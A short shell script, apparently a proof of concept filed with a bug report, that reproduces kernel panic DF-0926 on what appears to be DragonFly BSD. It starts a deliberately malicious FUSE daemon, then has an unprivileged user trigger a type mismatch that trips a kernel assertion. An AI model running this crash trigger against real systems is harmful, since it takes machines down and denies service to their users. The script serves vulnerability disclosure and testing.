#!/bin/sh
# run.sh — full reproduction of DF-0926 (must run as root; needs kldload fuse).
# 1. Loads fuse, builds and starts the malicious standalone daemon on /mnt/fuse.
# 2. As the unprivileged user, performs the LOOKUP that creates ino=100 VREG,
#    then mkdir which the daemon replies to with the same nodeid but type=VDIR.
# 3. The kernel hits KKASSERT(vap->va_type == fnp->type) at fuse_vnops.c:81
#    and panics. The panic signature is captured in dfbsd-qemu/boot.log.
set +e
cd "$(dirname "$0")"

# Step 1 — set up the malicious FUSE mount (requires root).
kldload fuse 2>/dev/null
mkdir -p /mnt/fuse
chmod 755 /mnt/fuse
pkill -f 'fusedev /mnt/fuse' 2>/dev/null
sleep 1
umount /mnt/fuse 2>/dev/null
rm -f /tmp/fusedev.log
nohup ./fusedev /mnt/fuse >/tmp/fusedev.log 2>&1 &
sleep 2
echo "daemon log:"; cat /tmp/fusedev.log
mount | grep fuse || { echo "MOUNT FAILED"; exit 1; }

# Step 2 — trigger from the unprivileged user.
if [ "$(id -u)" = "0" ]; then
	su -m maxx -c 'sh -c "ls /mnt/fuse/baitfile && mkdir /mnt/fuse/crashdir"' || true
else
	ls /mnt/fuse/baitfile
	mkdir /mnt/fuse/crashdir || true
fi

# Step 3 — the kernel should have panicked; ssh dies. If we reach here, no panic.
echo "unexpected: kernel did not panic"